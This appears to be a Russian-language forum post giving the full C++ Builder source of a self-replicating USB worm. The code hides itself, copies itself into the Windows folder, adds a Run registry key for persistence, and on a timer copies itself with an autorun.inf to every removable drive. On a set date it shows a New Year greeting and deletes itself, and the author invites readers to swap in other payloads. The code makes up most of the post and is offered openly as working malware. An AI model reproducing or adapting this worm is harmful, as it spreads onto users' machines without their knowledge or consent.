USB Flash вирус С++

Error404

Пользователь
Регистрация
16.11.04
Сообщения
929
Реакции
0
Баллы
16
Суть такая: Вирус распространяется с одного компа на другие через флеш носители. Затем закрепившись в системе уже начинает свою деятельность., в нашем примере неожиданно поздравляет с новым годом.

Алгоритм состоит из 3-х основных задач:
1. Освоение на новом месте. Копируемся в систему, прописываемся в автозагрузку, и скрываемся.
2. Заражение новых флешек. Выполняем поиск подключённых к компу флешек, копируемся на них., атакже создаём autorun.inf для осуществления автозапуска. Затем делаем файл вируса скрытым, и меняем дату его создания. Таким образом флешка начинает без ведома владельца распространять наши копии.
3. Этот модуль периодически проверяет системную дату, чтобы определить когда стоит вывести поздравление с новым годом. Атакже вывод этого поздравления, и функция самоуничтожения.
4. Конечно можно воплотить здесь любые идеи в плане 25 кадра, захвата планеты, и прочее... но в данной статье это не рассматривается


Код:
[/COLOR]Реализация: #include <vcl.h>
#pragma hdrstop
#include<iostream.h>
#include <registry.hpp>
#include<DateUtils.hpp>
#include "Unit1.h"
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
void __fastcall TForm1::FormCreate(TObject *Sender)
{
Application->ShowMainForm=false; //прячимся
if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V. exe") {
CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill _USB_Flash_V.exe",true);
TRegistry *reg=new TRegistry;
reg->RootKey=HKEY_LOCAL_MACHINE;
reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVer sion\\Run", false);
reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe");
reg->CloseKey();
reg->Free();
}
}
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{ // Будим заражать подключаемые к компу устройства
try {
FILE *F;
DWORD Number, FileLength, VolFlags;
char Drives[255],Buf[256];
char SystemName[127];
char *xxx;
AnsiString S;
int i ;
PChar P ;
RichEdit1->Clear();
if (GetLogicalDriveStrings(256,Drives) > 256) exit; // получаем списко дисков без ошибок
P = Drives;
while (*P != 0) // цикл по дискам
{
i = GetDriveType(P);//определение типа
if(i==DRIVE_REMOVABLE && AnsiString(P)!="A:\\") { // только если сьёмный выполним:
S=AnsiString(P)+"1v.exe";//подбор имени
RichEdit1->Lines->Add(S);
CopyFile(ParamStr(0).c_str(),S.c_str(),true); // копирование
S=AnsiString(P)+"autorun.inf"; //подготовим авторан
F = fopen(S.c_str(),"w+"); //открываем файл
if(F)
{
fprintf(F, "[autorun]\n"); // создаём загрузочную запись
fprintf(F, "open=1v.exe\n");
fprintf(F, "shell=Открыть\n");
fclose(F);
}
}

P = P + 4; // шаг к следующему носителю
}
}
catch ( ... )
{
}
}
void __fastcall TForm1::Timer2Timer(TObject *Sender)
{
if(DateToStr(Now())=="03.11.2009") {
Application->ShowMainForm=true;
Form1->Visible=true;
Form1->Top=(Screen->Height/2)-(Form1->Height/2);
Form1->Left=(Screen->Width/2)-(Form1->Width/2);
int h;
AnsiString mes;
int wt,ht;
int x,y;
h = HourOf(Now());
if (h<=5) mes="Доброй ночи";
else if (h<12) mes="Доброе утро";
else if (h<=17) mes="Добрый день";
else mes="Добрый вечер";
Canvas->Brush->Style=bsClear;
Canvas->Font->Size= 21;
Canvas->Font->Color=clRed;
char c[256];
DWORD sizec =256;
GetUserName(c, &sizec);
Canvas->TextOutA(10,20,mes+" "+c+",");
Canvas->Font->Size= 27;
Canvas->TextOutA(100,230,"С Новым Годом!");
Canvas->Font->Size=11;
Canvas->TextOutA(300,530,DateToStr(Now())+" WebKill");
Timer2->Enabled=false;
TRegistry *reg=new TRegistry;
reg->RootKey=HKEY_LOCAL_MACHINE;
reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVer sion\\Run", false);
reg->DeleteValue("SystemX");
reg->CloseKey();
reg->Free();
DeleteFile(ParamStr(0));
}
}
void __fastcall TForm1::Image1MouseMove(TObject *Sender, TShiftState Shift,
int X, int Y)
{
int h;
AnsiString mes;
int wt,ht;
int x,y;
h = HourOf(Now());
if (h<=5) mes="Доброй ночи";
else if (h<12) mes="Доброе утро";
else if (h<=17) mes="Добрый день";
else mes="Добрый вечер";
Canvas->Brush->Style=bsClear;
Canvas->Font->Size= 21;
Canvas->Font->Color=clRed;
char c[256];
DWORD sizec =256;
GetUserName(c, &sizec);
Canvas->TextOutA(10,20,mes+" "+c+",");
Canvas->Font->Size= 27;
Canvas->TextOutA(100,230,"С Новым Годом!");
Canvas->Font->Size=11;
Canvas->TextOutA(300,530,DateToStr(Now())+" WebKill");
}[COLOR=#CCCCCC]
 

Статистика форума

Темы
205.158
Сообщения
386.381
Пользователи
327.906
Новый пользователь
ника678
Сверху Снизу